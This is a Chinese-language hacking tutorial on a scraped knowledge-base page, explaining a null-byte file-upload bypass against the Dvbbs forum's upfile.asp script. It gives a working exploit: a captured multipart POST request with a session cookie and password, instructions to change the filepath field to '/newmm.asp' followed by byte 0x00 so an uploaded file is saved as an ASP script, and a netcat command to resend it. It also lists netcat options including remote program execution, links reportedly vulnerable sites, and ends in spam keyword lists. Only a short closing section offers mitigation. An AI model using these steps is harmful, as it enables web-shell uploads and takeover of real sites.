佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > asp 之上傳漏洞終結篇

asp 之上傳漏洞終結篇

熱門標簽:阿里云 Mysql連接數(shù)設置 銀行業(yè)務 電子圍欄 科大訊飛語音識別系統(tǒng) 團購網(wǎng)站 服務器配置 Linux服務器
收藏關于上傳漏洞的文章,最近一直遇到這個麻煩,
作者:szjwwwww     
出自:黑鷹基地論壇
http://www.3800cc.com
一、寫在前面
***這個上傳漏洞利用的原理只是針對form格式上傳的asp和php腳本***
NC(Netcat)
用于提交 數(shù)據(jù)包
DOS界面下運行:
   NC -vv www.***.com 801.txt
   -vv: 回顯
   80:  www端口
   1.txt: 就是你要發(fā)送的數(shù)據(jù)包
  (更多使用方法請查看本區(qū)的帖子) 
WSE(WSockExpert)
   對本機端口的監(jiān)視,抓取IE提交的數(shù)據(jù)包
  (不會用的就自己到網(wǎng)上搜資料N多)
二、漏洞原理
下面例子假設的前提
www主機:  www.***.com;
bbs路徑 :  /bbs/
漏洞源于對動網(wǎng)上傳文件的研究,建議有一定編程經(jīng)驗的
看看Dvbbs的upfile.asp文件,沒有必要全部看懂
upfile是通過生成一個form表上傳,
用到的變量:
filepath 默認值uploadface 屬性hiden
act      默認值upload     屬性hiden
file1    就是你要傳的那個文件
關鍵是 filepath 這個變量!
默認情況下我們的文件上傳到www.***.com/bbs/uploadface/
文件是用你的上傳時間命名的,就是upfile里的這一句
FileName=FormPathyear(now)month(now)day(now)hour(now)minute(now)second(now)ranNum"."FileExt
-------------------------------------------------------------------------
我們知道計算機里面的數(shù)據(jù)是一"\0"為標致的用過C語言的都知道
char data[]="bbs"
這個data數(shù)組長度是4: b b s \0
如果我們構造filepath如下,會怎么樣呢?
filepath="/newmm.asp\0"
我們在2004.09.24.08.24傳的文件就會發(fā)生變化
沒有改時:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我們構造的filepath時:
http://www.***.com/newmm.asp\0/200409240824.jpg
這樣當服務器接收filepath數(shù)據(jù)時,檢測到newmm.asp后面的\0
就理解為filepath的數(shù)據(jù)就結束了
這樣我們上傳的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期補充
漏洞公布以后很多網(wǎng)站做了相應的處理,但是對于filepath的過濾和處理都不行
有很多網(wǎng)站只是加了N個hiden屬性的變量對付網(wǎng)上公布的upfile.exe就是那個
上傳漏洞利用工具或者filepath變量利用工具(老兵的)...但是最基本的沒改啊。。
而且很對網(wǎng)站的插件里有類似的漏洞,我要說的不要依賴哪些專門的工具 
自己改WSE抓到的包里的filepath變量,然后在用NC提交。。。
就算他加N個hiden變量也于事無補。
當然,如果對filepath做了很嚴格的過濾的話我們的這些理論就將宣告終結
就是我們的新理論誕生的時候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20ID=5746
監(jiān)聽外部主機
        NC [-options] hostname port[s] [ports] ...
監(jiān)聽本地主機
        NC -l -p port [options] [hostname] [port]
options:
        -d              detach from console, stealth mode
        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual  or ranges: m-n [inclusive]
詳細實例:
---------------------------------------------------------------------------------
一、WSE抓包結果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上傳
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打開1.txt改數(shù)據(jù):
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█                 ===這個黑色代表一個空格是 0x20,改成0x00就可以了
......
三、重新計算cookies長度,然后nc提交
Nc -vv www.xin126.com 80 1.txt
UltraEdit是一個16位編輯器網(wǎng)上可以下載得到
我們主要用來寫那個結束標致: \0 ====>16位表示:0x00或者00H
其實你改的時候就直接再filepath的結尾 
處加個00就OK了
計算cookies長度===>你把fillepath改了之后、肯定是或+或—cookies的長度變了
......
Host: www.xin126.com
Content-Length: 1969  ======就是這個
Connection: Keep-Alive
Cache-Control: no-cache
......
計算會吧?一個字母、數(shù)字就是1
對于上傳漏洞提出的解決思路:(僅供參考)
1、一般的上傳是把上傳路徑作為一個變量來處理
===>我們的對策就是把filepath變成常量。。。
這個方法是目前最有效的(我認為的) 
2、加強對于\0的處理,原來我們是讀到這里就結束
我們繼續(xù)讀直道下一個變量開始的地方,處理就OK了

標簽:大理 蚌埠 棗莊 衡水 江蘇 衢州 萍鄉(xiāng) 廣元

巨人網(wǎng)絡通訊聲明:本文標題《asp 之上傳漏洞終結篇》,本文關鍵詞  ;如發(fā)現(xiàn)本文內容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    乡宁县| 丹东市| 麦盖提县| 广元市| 苏尼特右旗| 广安市| 柳州市| 衡阳县| 辉南县| 瓦房店市| 灵山县| 三亚市| 乌海市| 砚山县| 乌兰浩特市| 洛南县| 上犹县| 嵊州市| 汕头市| 航空| 咸宁市| 出国| 康平县| 工布江达县| 理塘县| 集贤县| 茂名市| 息烽县| 鹤庆县| 台东县| 丹棱县| 玛曲县| 长垣县| 星座| 大同市| 丰顺县| 太保市| 卢湾区| 色达县| 抚顺市| 冷水江市|